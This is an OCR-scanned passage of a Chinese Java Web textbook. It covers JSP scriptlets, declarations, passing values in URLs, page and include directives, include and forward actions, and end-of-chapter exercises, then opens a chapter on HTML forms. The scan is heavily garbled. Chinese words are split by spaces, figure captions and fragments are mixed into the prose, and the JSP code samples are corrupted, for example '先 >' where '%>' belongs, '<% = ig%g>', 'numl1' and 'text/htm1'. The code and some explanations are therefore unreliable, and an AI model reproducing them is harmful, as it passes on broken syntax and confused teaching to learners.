在 前 面 的 内 容 中 已 经 提 到 表达 式 只 能 单行 出 现 , 而 且 仅仅 把 其 中 的 运算 结果 输出 到 客 
户 端 。 如 果 需 要 在 JSP 程序 中 既 输 出 数据 又 实现 定义 变量 等 一 系列 复杂 的 逻辑 操作 ,表达 
式 是 不 能 满足 要 求 的 ,这 时 候 需 要 用 JSP 程序 段 。 实 际 上 ,JSP 程序 段 就 是 插入 到 JSP 程序 
的 Java 代码 段 。 在 网 页 的 任何 地 方 都 可 以 插入 JSP 程序 段 ,在 程序 段 中 可 以 加 入 任何 数量 
的 Java 代码 。JSP 程序 段 的 用 法 如 下 。 


<% Java 代码 %> 


下 面 看 两 个 简单 的 JSP 程序 段 例 子 。 
在 scriptlet. jsp 例子 中 使 用 for 循环 向 客户 端 输出 10 个 欢迎 信息 ,代码 如 下 。 


scriptlet. jsp 


<% @ page language = "java" contentType = "text/html; charset = gb2312" %> 
<html> 


for (int i=1; i<= 10; i++) { 
out. println(" 欢 迎 来 到 本 系统 < br >"); 
lL, 
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先 > 
</body> 
</html > 


在 客户 端的 浏览 器 中 可 以 看 到 如 图 4-11 所 示 的 输出 结果 。 

注意 : 不 能 在 JSP 程序 段 中 定义 函数 。 

在 JSP 程序 中 既 可 以 放 入 HTML ,也 可 以 放 入 JSP 程序 段 和 JSP 表达 式 , 用 户 能 够 灵 
活 地 混合 使 用 它们 。 

在 mixPage. jsp 例子 中 混合 了 JSP 程序 段 .HTML 和 表达 式 , 代 码 如 下 。 


mixPage. jsp 
<$% @ page language = "java" contentType = "text/htm1; charset = gb2312" %> 
< html > 
<body> 
< 和 
for (int i=1; i<=10; i++) { 
先 > 
<% = ig%g>: 欢 迎 来 到 本 系统 <br> 
<% 
} 
%> 
</body> 
</html > 


在 客户 端的 浏览 器 中 能 够 看 到 如 图 4-12 所 示 的 输出 结果 


1 :欢迎 来 到 本 系统 
欢迎 来 到 本 系统 2: 欢 迎 来 到 本 系统 
欢迎 来 到 本 系统 3: 欢 迎 来 到 本 系统 
欢迎 来 到 本 系统 4: 欢 迎 来 到 本 系统 
欢迎 来 到 本 系统 5: 欢 迎 来 到 本 系统 
欢迎 来 到 本 系统 6: 欢 迎 来 到 本 系统 
2h 三 | 小 世 4 Ce ee 

图 4-11 scriptlet. jsp 页 面 运行 效果 图 4-12 mixPage. jsp 页 面 运行 效果 


在 上 述 例子 中 ,凡是 没有 写 到 <%”%> 中 的 代码 均 被 解释 为 HTML。 在 JSP 程序 中 ， 
程序 段 可 以 有 很 多 ,然而 系统 会 将 其 认 成 一 大 段 ,因此 程序 段 中 的 大 括号 对 可 以 跨 多 个 程序 
段 。 例 如 前 面 例子 中 的 for 循环 ,一 对 大 括号 跨 了 两 个 程序 段 , 中 间 还 包含 了 JSP 表达 式 和 
HTML 代码 。 


4.5 JSP 声明 


在 JSP 程序 段 中 变量 必须 要 先 定义 后 使 用 。 例 如 ,以 下 代码 将 会 报错 : 


<% 
out. println(str); 
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String str= "欢迎 "; 


竺 > 


但 是 ,在 JSP 中 提供 了 声明 ,在 JSP 声明 中 可 以 定义 网 页 中 的 全 局 变量 ,这 些 变量 在 
JSP 页 面 中 的 任何 地 方 都 能 够 使 用 。 在 实际 应 用 中 ,方法 、 页 面 全 局 变量 甚至 类 的 声明 都 可 
以 放 在 JSP 声明 部 分 ,其 使 用 方法 如 下 。 


<%! 代码 %> 


可 以 看 到 其 与 JSP 程序 段 的 用 法 相似 (只 是 多 了 一 个 感叹 号 ) ,但 功能 却 有 所 不 同 。 在 
JSP 程序 段 中 定义 的 变量 只 能 先 声明 后 使 用 ,而 在 JSP 声明 中 定义 的 变量 是 网 页 级 别 的 , 系 
统 会 优先 执行 ,也 就 是 说 使 用 JSP 声明 可 以 在 JSP 的 任何 地 方 定义 变量 。 

下 面 的 declarationl. jsp 是 一 个 JSP 声明 的 简单 例子 ,代码 如 下 。 


declaration1. jsp 


<% @ page language = "java" contentType = "text/html; charset = gb2312" %> 
<html> 
<body> 
< 多 
out. println(str); 
%> 
<%! 
String str = "欢迎 "; 
%> 
</body > 
</html > 


该 例子 把 变量 的 定义 放 在 JSP 声明 中 ,这样 就 不 会 报错 了 。 

由 此 可 以 知道 使 用 JSP 声明 可 以 不 受 限制 地 在 JSP 页 面 的 任何 地 方 使 用 其 中 定义 的 
变量 。 

注意 ,在 JSP 声明 中 只 能 作 定 义 , 不 能 实现 控制 逻辑 。 例 如 不 能 在 其 中 使 用 out. printO 
作 输 出 操作 , 见 下 面 的 declaration2. jsp 文件 。 


declaration2. jsp 


<% @ page language = "java" contentType = "text/html; charset = gb2312" %> 
<html> 
<body> 
<g%! 
out. print(" 欢 迎 来 到 本 系统 "); 
先 > 
</body> 
</html > 


在 上 面 的 例子 ,MyEclipse 也 会 实时 报错 。 
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4.6 ”URL 传 值 


HTTP 是 无 状态 的 协议 。Web 页 面 本 身 无 法 向 下 一 个 页 面 传递 信息 ,如 果 需 要 让 下 一 
个 页 面 得 知 该 页 面 中 的 值 , 除 非 通过 服务 器 。Web 页 面 之 间 传 递 数据 是 Web 程序 的 重要 
功能 ,其 流程 如 图 4-13 所 示 。 


其 过 程 如 下 。 肛 务 器 
a 在 页 面 1 中 输入 数据 “guokehua” ,提交 给 服务 客户 端 页 面 1 | 发 送 guokehua 

器 端的 P2。 输入 :guokehua 
@ P2 获取 数据 ,给 客户 端 发 送 响应 。 RR 
问题 的 关键 在 于 页 面 1 中 的 数据 如 何 提交 ? 页 面 [时 下 :gokenns 


2 中 的 数据 如 何 获得 ? 
举 一 个 简单 的 案例 : 在 页 面 1 中 定义 了 一 个 数值 ”图 4-13 页 面 之 间 传递 变量 的 方法 
变量 ,并 显示 其 平方 ,要 求 单 击 链接 ,在 页 面 2 中 显示 其 
立方 。 很 明显 ,页 面 2 必须 知道 页 面 1 中 定义 的 那个 变量 。 这 里 就 可 以 用 URL 传 值 。 
URL 通俗 地 说 就 是 网 址 。 例 如 “http://localhost:8080/Prj04/page. jsp” 表 示 访 问 项 目 
Prj04 中 的 page. jsp, 用 户 还 可 以 在 该 页 面 后 面 给 出 一 些 参 数 ,格式 是 在 原 url 后 面 添加 如 
下 格式 的 信息 。 


?参数 名 1 = 参数 值 1& 参数 名 2 = 参数 值 25… 


例如 : 


http://localhost:8080/Prj04/page. jsp?m= 3&n=5 


以 上 代码 表示 访问 “http://localhost:8080/Prj04/page. jsp”, 并 给 其 传送 参数 m, 值 为 
3; 传送 参数 n, 值 为 5。 
在 “http://localhost:8080/Prj04/page. jsp” 中 获取 m 入 的 方法 如 下 。 


<% 

// 获 取 参 数 m, 赋 值 给 str 

String str = request. getParameter("m"); 
%> 


如 果 m 没有 传 过 来 或 者 参数 名 写 错 ,str 为 null。 

提示 : 和 out 一 样 ,request 也 是 JSP 九 大 对 象 之 一 ,其 作用 是 获取 请 求 的 信息 。 对 于 
其 详细 内 容 , 在 后 面 的 章节 中 将 有 介绍 。 

本 节 所 举 的 简单 案例 可 以 写成 如 urlP1. jsp 所 示 的 代码 。 


urlP1. jsp 


< 外 @ page language = "java" import = "java. util. * " pageEncoding = "gb2312" %> 
<% 
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// 定 义 一 个 变量 
String str= "12"; 
int number = Integer. parseInt(str); 
先 > 
该 数字 的 平方 为 : <%= number * number ><hr> 
<a href = "urlP2. jsp?number =<$ = number 多 >"> 到 达 p2 </a> 


运行 效果 如 图 4-14 所 示 。 
在 页 面 底部 显示 了 一 个 链接 一 一 到 达 p2 ,其 链接 内 容 如 下 。 


http://localhost:8080/Prj04/urlP2. jsp?number = 12 


这 相当 于 提交 到 服务 器 的 urlP2. jsp, 并 给 其 一 个 参数 number, 值 为 12。urlP2. jsp 的 
代码 如 下 。 
urlP2. jsp 


<% @ page language = "java" import = "java.util. * " pageEncoding = "gb2312" %> 
<% 
// 获 得 number 
String str = request. getParameter("number" ); 
int number = Integer. parseInt (str); 
第 > 
该 数字 的 立方 为 : <%= number * number * number %>< hr> 


单 击 urlP1. jsp 中 的 链接 ,到 达 urlP2. jsp, 效 果 如 图 4-15 所 示 。 
该 数字 的 平方 为 ，144 


达 p2 


图 4-14 运行 效果 图 4-15 显示 效果 


该 数字 的 立方 为 ，1728 


这 说 明 可 以 顺利 实现 值 的 传递。 
但 是 该 方法 有 如 下 问题 。 
(1) 传输 的 数据 只 能 是 字符 串 , 对 数据 类 型 有 一 定 的 限制 。 
(2) 传输 数据 的 值 会 在 浏览 器 的 地 址 栏 中 看 
到 。 比 如 本 节 案 例 , 当 单 击 了 链接 到 达 urlP2. jsp 
人 后 .浏览 器 地 址 栏 上 的 地 址 变 为 如 图 4-16 所 示 。 
number 的 值 可 以 被 人 看 到 。 从 保密 的 角度 讲 ,这 是 不 安全 的 ,特别 是 对 于 秘密 性 要 求 
很 严格 的 数据 (例如 密码 ) ,不 应 该 用 URL 方法 来 传 值 。 
但 是 ,URL 方法 并 不 是 一 无 是 处 ,由 于 其 简单 性 和 平台 i 
持 的 多 样 性 (没有 浏览 器 不 支持 URL) ,很 多 程序 用 URL 传 值 。 多 二 p 谨 中 的 和 : 
王 明 副 除 
比较 方便 。 汤 和 副 除 
在 如 图 4-17 所 示 的 界面 中 可 以 通过 链接 来 删除 学 生 ,这 里 。 尘 上 挫 
很 明显 使 用 URL 方法 简洁 方便 。 图 4-17 界面 


httpy/localhost 8080/Prios/urlp2jspinumber=12 7| 


回 
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4.7 JSP 指令 和 动作 


4.7.1 JSP 指令 


JSP 指令 告诉 JSP 引擎 对 JSP 页 面 如 何 编译 ,不 包含 控制 逮 辑 ,不 会 产生 任何 可 见 的 输 
出 。 其 用 法 如 下 。 


<%@ 指令 类 别 属性 1 = "属性 值 1”… 属 性 n= "属性 值 n"”%> 


实际 上 ,在 前 面 已 经 接触 过 page 指令 ,例如 : 


<% @ page contentTYpe = "text/html; charset = gb2312" %> 


注意 : 属性 名 是 大 小 写 敏感 的 。 

JSP 包含 3 个 指令 , 即 page\include 和 taglib, 其 中 使 用 最 多 的 是 page 指令 和 include 
指令 。 
在 通常 情况 下 ,JSP 程序 都 是 以 page 指令 开头 的 。page 指令 用 来 设 定 页 面 的 属性 和 相 
关 的 功能 ,用 户 可 以 利用 其 进行 导入 需要 的 类 、 指 明 JSP 输出 内 容 的 类 型 .指定 处 理 异常 的 
错误 页 面 等 操作 。page 指令 的 作用 如 下 。 

1. 导 人 包 

在 编写 程序 时 可 能 需要 用 到 JDK 的 其 他 类 ,或 者 自行 定义 的 类 ,这 时 候 就 需要 使 用 
import 属性 进行 导入 。import 属性 的 用 法 如 下 。 


<%@ page import = " 包 名 .类 名 " %> 


如 果 想 把 包 下 面 的 全 部 类 都 进行 导入 ,可 以 使 用 下 面 的 方法 。 


<%@ page import = " 包 名 . * " %> 


当 想 要 引入 包 中 的 多 个 类 的 时 候 可 以 使 用 下 面 两 种 方法 。 


<%@ page import = " 包 名 .类 1" %> 

<%@ page import = " 包 名 .类 2" %> 

或 者 

< 多 @ page import = " 包 名 .类 1, 包 名 .类 2" %> 


下 面 用 简单 的 例子 介绍 import 属性 的 用 法 ,该 例子 将 用 户 访 问 的 时 间 也 显示 在 页 面 
上 。 此 时 就 应 该 用 import 属性 导入 java. util. Date 类 ,代码 如 pageTestl. jsp 所 示 。 


pageTestl. jsp 


<% @ page import = "java. util. Date" language = "java" 
contentType = "text/html; charset = gb2312" %> 


2 
Java Web 程序 设计 (第 3 版 )- 微 课 视频 版 


<html> 
<body> 
你 的 登录 时 间 是 <%= new Date() %> 
</body > 
</html > 


在 该 例子 中 通过 import 属性 把 java. util. Date 类 导入 程序 中 ,再 显示 当前 的 时 间 ,运行 
效果 如 图 4-18 所 示 。 
你 的 登录 时 间 是 Tue Apr 26 15:03:57 CST 2016 
图 4-18 pageTestl. jsp 页 面 运行 效果 
2. 设 定 字符 集 
用 pageEncoding 属性 可 以 设置 页 面 的 字符 集 。pageEncoding 属性 用 来 设 定 JSP 文件 
的 编码 方式 ,常见 的 编码 方式 有 ISO-8859-1 .gb2312 和 GBK 等 ,其 用 法 如 下 。 


<% @ page pageEncoding = "编码 类 型 ”%> 


例如 : 


<%@ page pageEncoding = "GBK" %> 


以 上 代码 表示 网 页 使 用 了 GBK 编码 。 

3. 设 定 错误 页 面 

在 网 页 中 经 常 由 于 用 户 输入 造成 异常 。 在 一 般 情 况 下 ,可 以 将 异常 现象 在 一 个 统一 的 
网 页 中 显示 ,这 时 要 用 到 errorPage 和 isErrorPage 属性 。 

errorPage 属性 的 作用 是 指定 一 个 页 面 , 当 JSP 程序 出 现 未 被 捕获 的 异常 时 跳 转 到 这 个 
指定 的 页 面 。 在 通常 情况 下 , 跳 转 到 的 页 面 需要 使 用 isErrorPage 属性 指明 处 理 其 他 页 面 
的 错误 信息 。 

在 发 生 异 常 的 页 面 上 使 用 以 下 代码 : 


<% @ page errorPage = "anErrorPage. jsp"” %> 


就 可 以 指明 当 该 JSP 出 现 异常 时 其 会 跳 转 到 anErrorPage. jsp 去 处 理 异常 , 而 在 
anErrorPage. jsp 中 需要 使 用 下 面 的 方法 来 说 明 其 可 以 对 其 他 页 面 进行 错误 处 理 。 


<% @ page isErrorPage = "true" $%> 


下 面 是 使 用 errorPage 属性 和 isErrorPage 属性 的 例子 ,代码 如 pageTest2. jsp 和 
pageTest2_error. jsp 所 示 。 
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pageTest2. jsp 


<% @ page contentTYpe = "text/html; charset = gb2312" errorPage = "pageTest2_error. jsp" %> 
< html > 
< body> 
< 名 // 此 页 面 会 向 pageTest2_error 抛 出 异常 ,让 其 来 处 理 
int numl = 10; 
int num2 = 0; 
int num3 = numl1 /num2; 
先 > 
</body> 
</html > 


该 程序 非常 简单 ,其 执行 的 除法 运算 会 殷 出 一 个 数学 运算 异常 ,从 “errorPage = 
" pageTest2_error. jsp"” 可 以 看 出 程序 指定 了 pageTest2_error. jsp 为 其 处 理 异常 。 


pageTest2_error. jsp 


<% @ page contentType = "text/html; charset = gb2312" isErrorPage = "true" %> 
<html> 
<body> 
<% // 此 页 面 会 处 理 pageTest2. jsp 抛 出 的 异常 
// 友 好 地 显示 错误 信息 
out. println(" 网 页 出 现 数学 运算 异常 !"); 
%> 
</body> 
</html > 


在 该 处 理 错误 程序 中 把 isErrorPage 属性 的 值 设 为 true, 因 此 可 以 处 理 JSP 页 面 的 错 
误 。 在 客户 端 运行 的 效果 如 图 4-19 所 示 。 
认错 误 页 面 的 问题 。 为 了 显示 自 定 义 的 错误 处 理 页 
面 , 可 以 选择 IE 浏览 器 的 “工具 ”|*Internet 选项 ” 命 
令 , 在 弹出 的 对 话 框 中 找到 “高 级 "选项 卡 , 将 “显示 友好 HTTP 错误 信息 ? 改 为 不 选中 。 
4. 设 定 MIME 类 型 和 字符 编码 
用 户 可 以 使 用 contentType 属性 设置 JSP 的 MIME 类 型 和 可 选 字符 编码 。 
contentType 属性 在 前 面 的 例子 使 用 过 ,其 用 法 如 下 。 


4-19 ”pageTest2. jsp 页 面 运行 效果 


<%@ page contentType = "MIME 类 型 ; charset = 字符 编码 " %> 


此 处 设置 字符 编码 ,和 前 面 的 pageEncoding 属性 的 作用 相同 。 
在 一 般 情况 下 ,该 属性 设置 为 : 


contentType = "text/html; charset = gb2312" 


表示 页 面 是 HTML 页 面 ,字符 集 是 gb2312。 
由 于 其 他 属性 的 使 用 较 少 ,这 里 不 一 一 列举 ,读者 可 以 参考 相应 文档 。 
在 JSP 中 还 有 另 一 个 指令 , 那 就 是 include 指令 。 
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大 家 在 实际 应 用 开发 中 经 常会 遇 到 这 样 的 情况 : 在 项 目的 每 一 个 页 面 底 下 都 需要 显示 
公司 的 地 址 和 图 标 信息 。 显 然 ,不 可 能 在 每 一 个 网 页 都 编写 一 次 显示 该 信息 的 代码 。 为 了 
保证 代码 重用 ,可 以 使 用 include 指令 解决 该 需求 。 

使 用 include 指令 可 以 在 JSP 程序 中 插入 多 个 外 部 文件 ,这 些 文件 可 以 是 JSP、.HTML 
或 者 Java 程序 ,甚至 是 文本 。 在 编译 时 ,include 指令 就 会 把 相应 的 文件 包含 进 主 文件 。 其 
语法 格式 如 下 。 


<%@ include file= "文件 名 "%> 


file 属性 是 include 指令 的 必要 属性 ,用 于 指定 包含 哪个 文件 。include 指令 可 以 被 多 次 
使 用 ,例如 : 


<% 四 include file= "logo. jsp" %> 


以 上 代码 表示 在 该 页 面 中 包含 logo. jsp, 相 当 于 将 logo. jsp 的 内 容 原封 不 动 地 复制 到 
本 页 面 中 。 

下 面 使 用 简单 的 例子 来 解决 上 面 提 到 的 需求 ,首先 新 建 一 个 JSP 程序 来 显示 页 尾部 分 
的 信息 ,代码 如 info. jsp 所 示 。 


info. jsp 


<% @ page contentType = "text/html; charset = gb2312" %> 
<hr> 

<center> 

公司 电话 号 码 :010 - 89574895, 欢 迎 来 电 ! 


</center> 


在 includeTestl. jsp 程序 中 显示 上 面 定义 的 页 尾 信息 ,使 用 include 指令 将 上 面 定 义 的 
JSP 程序 包含 进来 。 


includeTestl. jsp 


<% @ page language = "java" contentType = "text/html; charset = gb2312" %> 
<html> 


out. print(" 欢 迎 来 到 本 系统 !"); 
%> 
<br> 
<%@ include file= "info. jsp” %> 
</body> 
</html > 


在 客户 端的 浏览 器 中 运行 效果 如 图 4-20 所 示 。 
欢迎 来 到 本 系统 ! 
公司 电话 号 码 :010-89574895， 欢 迎 来 电 ! 
图 4-20 includeTestl. jsp 页 面 运行 效果 
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当然 也 可 以 在 其 他 的 页 面 中 包含 该 页 面 。 

需要 注意 的 是 ,在 实际 应 用 开发 过 程 中 可 能 会 遇 到 这 样 的 情况 : 使 用 include 指令 把 另 
外 的 页 面包 含 进 本 页 面 , 但 被 包含 的 页 面 与 本 页 面 有 相同 的 变量 。 

用 下 面 的 例子 说 明 上 述 情况 。 在 页 面 1 中 定义 了 一 个 变量 ,代码 如 info. jsp 所 示 。 


info. jsp 


<% @ page contentTYpe = "text/html; charset = gb2312" %> 
<% 

String msg= "欢迎 来 到 本 系统 !"; 
%> 


接着 把 该 JSP 页 面包 含 进 includeTest2. jsp 程序 中 ,代码 如 下 。 


includeTest2. jsp 
<% @ page language = "java" contentType = "text/html; charset = gb2312" %> 
<html> 
<body> 
<%@ include file= "info. jsp" %> 
< 和 
String msg= "欢迎 !"; 
%> 
</body > 
</html > 


在 该 程序 中 又 定义 了 一 个 msg 变量 ,由 于 include 指令 在 编译 的 时 候 就 将 对 应 的 文件 
包含 进来 ,等 价 于 代码 复制 ,所 以 程序 会 报错 。 


4.7.2 JSP 动作 
JSP 动作 指使 用 XML 语法 格式 的 标记 来 控制 服务 器 的 行为 。 其 用 法 如 下 。 


<jsp: 动 作 名 属性 1= "属性 值 1"”… 属 性 n= "属性 值 na" /> 


或 者 : 


<jsp: 动 作 名 属性 1 = "属性 值 1"”… 属 性 n= "属性 值 n"> 相 关内 容 </jsp: 动 作 名 > 


JSP 动作 如 下 。 

(1) jsp:include 表示 当 页 面 被 请 求 的 时 候 引 入 一 个 文件 。 

(2) jsp:forward 表示 将 请 求 转 到 另外 一 个 页 面 。 

(3) jsp:useBean 表示 获得 JavaBean 的 一 个 实例 。 

(4) jsp:setProperty 表示 设置 JavaBean 的 属性 。 

(5) jsp:getProperty 表示 获得 JavaBean 的 属性 。 

(6) jsp:plugin 表示 根据 浏览 器 的 类 型 为 Java 插件 生成 OBJECT 或 EMBED 两 种 标记 。 
在 本 节 中 主要 了 解 include 和 forward 两 个 动作 ,介绍 它们 的 用 法 和 需要 注意 的 问题 。 
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include 动作 与 include 指令 的 作用 差不多 ,include 动作 的 作用 是 在 页 面 请 求 的 时 候 引 
入 一 个 指定 的 文件 。 其 基本 语法 如 下 。 


< jsp:include page= "文件 名 " /> 


或 者 : 


<jsp:include page= "文件 名 "> 
相关 标签 


</jsp:include > 


一 般 使 用 第 一 种 形式 ,其 中 page 属性 的 值 是 需要 包含 进来 的 资源 。 

include 动作 和 前 面 讲解 的 include 指令 的 区 别 如 下 。 

(1) include 动作 只 会 把 文件 中 的 输出 包含 进来 ,因此 前 一 节 中 提 及 的 被 包含 页 面 与 本 
页 面 有 相同 变量 的 问题 在 此 处 不 会 出 现 。 

(2) include 动作 还 会 自动 检查 被 包含 文件 的 变化 ,也 就 是 说 当 被 包含 资源 的 内 容 发 生 
变化 时 如 果 使 用 include 指令 ,服务 器 可 能 不 会 检测 到 ,但 是 include 动作 可 以 在 每 次 客户 端 
发 出 请 求 时 重新 把 资源 包含 进来 ,进行 实时 更 新 。 读 者 可 以 自己 进行 测试 。 

一 个 动作 是 forward 动作 ,可 以 实现 跳 转 。 在 很 多 系统 中 有 这 样 的 场景 : 在 登录 成 
功 以 后 可 以 转向 欢迎 页 面 ,此 处 的 “转向 ”就 是 跳 转 。 在 JSP 中 forward 动作 的 基本 用 法 
如 下 。 


<jsp:forward page = "文件 名 "/> 


显然 ,page 属性 用 于 指定 要 跳 转 到 的 目标 文件 。 
在 该 forward 动作 被 执行 后 ,当前 的 页 面 将 不 再 被 执行 ,而 是 去 执行 指定 的 目标 页 面 
观察 jspForwardTest. jsp 的 代码 。 


jspForwardTest. jsp 


<% @ page language = "java" contentType = "text/html; charset = gb2312" %> 
<html> 


<body> 
< jsp:forward page = "pageTest1. jsp"/> 
</body > 
</html > 


在 该 0 pageTestl. jsp, 在 客户 端 运行 这 个 例子 ,可 以 看 到 
pageTestl. jsp 运行 的 结 


4.8 本 章 小 结 


本 章 学 习 了 JSP 页 面 的 编写 、 使 用 注释 ,编写 表达 式 、 程 序 段 和 声明 的 方法 ,讲解 了 URL 
传 值 ,最 后 讲解 了 常见 的 指令 ,包括 page\include, 以 及 常见 的 动作 ,包括 include、forward。 
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4.9 课 后 习题 


一 、 填空 题 

1. JSP 注释 一 共有 3 种 ,分 别 是 i 六 

2. JSP 程序 段 就 是 插入 到 JSP 程序 的 而 

3. 在 JSP 声明 中 可 以 定义 网 页 中 的 ,这 些 变量 在 JSP 页 面 中 的 任何 地 方 都 能 
使 用 。 

. 在 使 用 URL 传 值 时 传输 的 数据 只 能 是 类 型 。 


4 

5. request 对 象 获取 请 求 信息 的 方法 是 

6. JSP 的 3 个 指令 是 和 

7. page 指令 的 属性 用 来 导入 包 。 
8 
9 


. 当 JSP 程序 出 现 未 被 捕获 的 异常 时 可 以 使 用 设置 要 跳 转 的 页 面 。 
指令 可 以 在 JSP 程序 中 插入 多 个 外 部 文件 。 
10. 只 会 把 文件 中 的 输出 包含 到 JSP 页 面 ,而 是 把 文件 包含 到 JSP 
页 面 。 
-、 选 择 题 
1. 下 列 关于 JSP 的 说 法 错误 的 是 ( i 
A. JSP 将 动态 代码 嵌入 到 静态 的 HTML 中 ,从 而 产生 动态 的 输出 
B. 在 客户 端的 源 代码 中 是 看 不 到 JSP 页 面 中 的 Java 代码 的 
C. JSP 属于 静态 网 页 
D. JSP 页 面 是 由 JSP 容器 执行 该 页 面 的 Java 代码 部 分 ,然后 实时 生成 HTML 


页 面 
2. JSP 页 面 在 第 一 次 运行 的 时 候 被 JSP 引擎 转换 为 ( js 
A. CSS 文 件 B. JSP 文 件 C. HTML 文件 D. Java 文件 
3. 在 下 列 注释 中 会 发 送 到 服务 器 的 是 ( js 
A. <!-- 注 释 内 容 --> B. <%-- 注 释 内 容 --%> 
C. // 注 释 内 容 D. /x* 注释 内 容 */ 


4. 下 列 关 于 JSP 表达 式 的 说 法 错误 的 是 ( js 
A. JSP 表达 式 的 作用 是 将 其 里 面 内 容 所 运算 的 结果 输出 到 客户 端 
B. 在 JSP 表达 式 中 能 用 “; ?结束 
C. 在 JSP 表达 式 中 不 能 出 现 多 条 语句 
D. JSP 表达 式 中 的 内 容 一 定 是 字符 串 类 型 ,或 者 能 通过 toStringO 函 数 转换 成 字符 


串 的 形式 
5. JSP 程序 段 的 用 法 是 ( js 
A. <% Java 代码 %> B. <%%! Java 代码 %> 
C. <%@ Java 代码 %> D. <%fFJava 代码 %> 


6. 在 JSP 页 面 中 定义 一 个 String 类 型 的 Java 全 局 变量 str, 正 确 的 代码 为 ( Ds 
A. <% String str; %> B. <%! String str; %> 
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C. <% String str %> D. <%! String str %> 
7. 使 用 ( ) 属 性 可 以 设置 JSP 的 MIME 类 型 和 可 选 字符 编码 。 

A. contentType B. Type 

C. pageEncoding D. charset 
8. 用 于 设置 JavaBean 属性 的 动作 是 ( ) 。 

A. <jsp:useBean > B. < jsp:setProperty > 

C. < jsp:getProperty > D. <jsp:include > 
9. 用 于 将 请 求 跳 转 到 另 一 个 页 面 的 JSP 动作 是 ( Ys 

A. <jsp:include > B. <jsp:plugin > 

C. <jsp:forward > D. <jsp:useBean > 
三 、 上 机 习题 


1. 用 服务 器 端 脚本 在 屏幕 上 打印 100 个 “欢迎 ”, 然 后 用 客户 端 脚本 在 屏幕 上 打印 100 
个 “欢迎 ”, 比 较 其 区 别 。 

2. 用 JSP 声明 编写 一 个 函数 ,输入 一 个 整数 参数 ,以 集合 形式 表示 各 种 纸币 找 零 的 数 
量 , 输 入 1 一 100 中 的 数值 。 假 如 系统 中 有 50、20、10、5、1 这 5 种 面额 的 纸币 ,显示 每 种 纸币 
应 该 找 的 数量 。 例 如 78 元 应 该 为 50 元 1 张 .20 元 1 张 .5 元 1 张 1 元 3 张 。 然 后 用 JSP 程 
序 段 来 运行 这 个 函数 。 

3. 将 第 1 题 改 为 用 JSP 程序 段 混合 表达 式 来 实现 。 

4. 在 界面 上 显示 1 一 9 共 9 个 链接 , 单 击 每 个 链接 ,能 够 在 另 一 个 页 面 中 打印 该 数字 的 


5. 将 第 4 题 改 为 在 一 个 页 面 上 显示 。 
6. 指定 一 个 异常 页 面 , 系 统 中 所 有 的 操作 异常 都 会 导致 跳 到 这 个 页 面 。 测 试 这 个 


7. 为 网 上 书城 制作 一 个 精美 的 logo 并 包含 公司 的 地 址 ,然后 在 多 个 页 面 中 将 其 包含 
进来 (至 少 使 用 两 种 方法 ) 。 在 各 种 方法 中 尝试 将 logo 改变 ,看 看 包含 logo 的 页 面 能 否 发 
现 其 中 的 更 新 。 


表单 开发 


建议 学 时 : 2 

表单 是 用 户 和 服务 器 之 间 进 行 信息 交互 的 重要 手段 ,有 了 表单 ,JSP 程序 才 可 以 更 加 丰 
富 多 彩 。 本 章 将 学 习 JSP 编程 中 的 表单 开发 ,首先 对 表单 的 基本 结构 和 基本 属性 进行 学 
习 , 然 后 学 习 各 种 表单 元 素 与 服务 器 的 交互 ,最 后 对 隐藏 表单 的 作用 进行 讲解 。 


5.1 认识 表单 


5.1.1 表单 的 作用 


在 编写 JSP 表单 之 前 首先 了 解 一 下 表单 的 作用 。 
以 百度 为 例 , 若 在 百度 上 输入 一 个 关键 词 ,例如 “玫瑰 花 ”, 如 图 5-1 所 示 。 


Bai 并 百度 


玫瑰 宰 百度 一 下 


图 5-1 百度 搜索 界面 


单 击 “百度 一 下 ”按钮 ,百度 能 够 将 所 有 与 “玫瑰 花 " 有 关 的 搜索 结果 展现 出 来 ,很 明显 ， 
百度 在 服务 器 端 进 行 了 一 个 搜索 工作 。 
此 处 百度 提供 的 输入 界面 就 是 一 个 表单 。 用 户 可 以 次 闻 吉 录 本 系统 
在 表单 上 进行 一 些 输入 ,在 提交 时 可 以 根据 用 户 的 输入 来 l 
执行 相应 的 程序 。 eb 一 一 
请 您 输入 密码 
同样 ,在 某 系统 中 如 果 用 户 要 进行 登录 , 则 必须 输入 、 匡 习 
账号 和 密码 ,如 图 5-2 所 示 。 这 也 是 一 个 表单 。 所 以 , 表 图 5-2 系统 登录 界面 
单 是 可 以 由 用 户 输入 并 提交 给 服务 器 端的 一 个 图 形 界面 。 


5.1.2 定义 表单 

对 于 表单 的 定义 ,在 网 页 制作 过 程 中 进行 了 详细 的 介绍 ,在 这 里 仅仅 根据 JSP 来 介绍 
表单 的 基本 定义 方法 。 

表单 有 如 下 性 质 。 

(1) 在 表单 中 可 以 输入 一 些 内 容 ,这 些 输入 功能 由 控件 提供 , 叫 作 表单 元 素 。 
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(2) 在 表单 中 一 般 会 有 一 个 按钮 负责 提交 。 

(3) 单 击 提交 按钮 ,表单 元 素 中 的 内 容 会 提交 给 服务 器 端 。 

(4) 表单 元 素 放 在 < form ></form > 之 间 。 

在 MyEclipse 中 建立 一 个 项 目 Pri05。 建 立 一 个 页 面 ,5. 1. 1 节 的 登录 表 间 


和 可 以 由 


form. jsp 实现 ,代码 如 下 。 


form. jsp 


<% @ page language = "java" contentType = "text/html; charset = gb2312" %> 
<html> 
<body> 
欢迎 登录 本 系统 
<form> 
请 您 输入 账号 : < input name = "account" type = "text">< br> 
请 您 输入 密码 : < input name = "password" type = "password"><br> 
< input type = "submit" value = "登录 "> 
</form> 
</body> 
</html > 


运行 ,得 到 5. 1. 1 节 中 的 登录 界面 。 

六 问答 

问 : 表单 提交 给 服务 器 端 ,如 何 确定 到 底 提 交 给 哪 一 个 页 面 ? 
答 : 可 以 用 < form > 中 的 action 属性 确定 。 例 如 : 


< form action = "page. jsp"> 
请 您 输入 账号 : < input name = "account" type = "text">< br> 
请 您 输入 密码 : < input name = "password" type = "password">< br> 
< input type= "submit" value = "登录 "> 

</form> 


以 上 代码 表示 将 表单 中 输入 的 内 容 提 交 给 page. jsp 去 运行 。 
注意 : 此 处 的 action 值 支持 相对 路 径 。 例 如 : 
。 ../page.jsp 表示 当前 页 面 的 上 一 级 目录 中 的 page. jsp。 
。 jsps/page. jsp 表示 当前 目录 jsps 目录 中 的 page. jsp。 
它 也 支持 绝对 路 径 , 例 如 : 
/Prj05/page. jsp 表示 Prj05 中 的 page. jsp。 
问 : page. jsp 如 何 获 取 提 交 过 来 的 值 ? 
答 : 方法 是 用 request 对 象 。 例 如 : 


<% 
// 获 取 表单 中 name = account 的 表单 元 素 中 输入 的 值 ,赋值 给 str 
String str = request. getParameter("account"); 

